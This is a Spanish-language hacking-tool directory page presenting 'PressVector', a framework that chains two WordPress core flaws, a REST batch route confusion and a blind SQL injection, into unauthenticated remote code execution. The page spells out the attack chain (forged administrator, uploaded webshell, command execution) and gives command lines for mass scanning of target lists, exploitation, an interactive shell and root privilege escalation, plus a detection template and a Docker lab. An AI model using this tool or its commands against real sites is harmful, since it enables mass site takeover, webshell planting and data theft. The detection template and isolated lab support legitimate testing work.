Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PressVector — PressVector - Escáner avanzado de vulnerabilidades de WordPress CVE-2026-63030 (confusión de rutas batch REST) / CVE-2026-60137 (SQLi) Desarrollador: Vulnquest | Kitploit
Herramientas/GitHubGitHub/vulnquest58/pressvector
ReconocimientoEscáneres de VulnerabilidadesEscáneres de Vulnerabilidades WebRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubvulnquest58/pressvector

PressVector

PressVector - Escáner avanzado de vulnerabilidades de WordPress CVE-2026-63030 (confusión de rutas batch REST) / CVE-2026-60137 (SQLi) Desarrollador: Vulnquest

Ver Repositorio
1133hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🧨 PressVector — Framework de explotación de WordPress CVE-2026-63030 / CVE-2026-60137

⚡ Framework avanzado de explotación de RCE pre-autenticación y SQLi ciega para WordPress Core


📌 Descripción general

PressVector es un framework de explotación integral y totalmente automatizado dirigido a CVE-2026-63030 y CVE-2026-60137, dos vulnerabilidades críticas en el núcleo de WordPress que, combinadas, permiten la ejecución remota de código sin autenticación.

El framework encadena una confusión de rutas por lotes de REST con una inyección SQL ciega para falsificar sesiones de administrador, desplegar webshells y ejecutar comandos arbitrarios del sistema operativo, todo ello sin credenciales.

⚠️ Solo para pruebas de seguridad autorizadas y fines educativos.


🔍 ¿Qué es CVE-2026-63030 (wp2shell)?

CVE-2026-63030 es una vulnerabilidad crítica de RCE pre-autenticación en el núcleo de WordPress, descubierta por Adam Kues (Assetnote / Searchlight Cyber). El exploit encadena dos vulnerabilidades independientes:

CVEAvisoTipoImpacto
CVE-2026-63030GHSA-ff9f-jf42-662qConfusión de rutas por lotes de RESTRCE pre-autenticación
CVE-2026-60137GHSA-fpp7-x2x2-2mjfInyección SQL en author__not_inSQLi ciega pre-autenticación

💥 Cadena de explotación

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 Versiones afectadas

Versión de WordPressCVE aplicablesImpactoEstado
6.8.0 – 6.8.5CVE-2026-60137🟡 SQLi a ciegas (Alta)❌ Vulnerable
6.9.0 – 6.9.4CVE-2026-63030 + CVE-2026-60137🔴 RCE preautenticación (Crítica)❌ Vulnerable
7.0.0 – 7.0.1CVE-2026-63030 + CVE-2026-60137🔴 RCE preautenticación (Crítica)❌ Vulnerable
7.1-alpha / 7.1-beta1CVE-2026-60137🟡 SQLi (Alta)❌ Vulnerable
6.8.6+ / 6.9.5+ / 7.0.2+—✅ Parcheado✅ Seguro

📦 Instalación

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ Herramientas incluidas

1️⃣ pressvector.py — Framework principal de explotación

Framework de explotación con todas las funciones y 4 modos de operación.

🔎 scan — Escáner de vulnerabilidades multiobjetivo

Escáner rápido y multihilo para detectar instalaciones de WordPress vulnerables a escala.

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — Confirmación de SQLi ciega

Confirma la inyección SQL ciega basada en tiempo en un único objetivo con calibración de tiempos.

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — Cadena completa de explotación RCE

Explotación completa: falsificar admin → desplegar webshell → ejecutar comandos.

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — Escalada de privilegios

Intenta la escalada de privilegios local después de lograr RCE.

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — Plantilla de detección de Nuclei

Una plantilla de Nuclei lista para producción para la detección pasiva a gran escala.

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

Características de la plantilla:

  • 🔍 Detección de versión multi-fuente (meta generator + fallback a feed RSS)
  • 📡 Fingerprinting del espacio de nombres de la API REST
  • 🎯 Sondeo por lotes de accesibilidad de rutas
  • 📋 Salida dinámica: versión, tipo de CVE, vector de ataque

🧪 Entorno de laboratorio (Docker)

Se incluye un laboratorio de pruebas de penetración completamente automatizado y contenedorizado para realizar pruebas seguras y aisladas de estas vulnerabilidades.

Inicio rápido

Windows (PowerShell):

cd pressvector-lab
.\start-lab.ps1

Linux / macOS:

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(Espera ~60-90 segundos en la primera ejecución para que el instalador de WP-CLI configure todos los sitios de WordPress automáticamente).

Servicios y puertos del laboratorio

PuertoServicioVersión de WordPressVulnerabilidad / Estado
8080Objetivo 16.8.5CVE-2026-60137 (solo SQLi ciega) 🔴
8081Objetivo 26.9.4CVE-2026-63030 (RCE pre-autenticación) 🔴
8082Objetivo 37.0.1CVE-2026-63030 (RCE pre-autenticación) 🔴
8083ReferenciaÚltimaParcheado / Referencia segura ✅
8084PHPMyAdmin—Herramienta de gestión de BD
8085Panel del laboratorio—Interfaz web con el estado de los objetivos y comandos copiables 🖥️

Credenciales de administrador: admin / admin123
Contraseña root de MySQL: root

Verificación y pruebas automatizadas

Puedes verificar todo el estado del laboratorio y las rutas de explotación usando la suite de pruebas automatizadas:

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

Comandos de control del laboratorio

  • Detener el laboratorio (conservar datos): Ejecute stop-lab.sh o .\stop-lab.ps1
  • Restablecer el laboratorio (borrar datos y limpiar la compilación): Ejecute reset-lab.sh o .\reset-lab.ps1
Descargar herramienta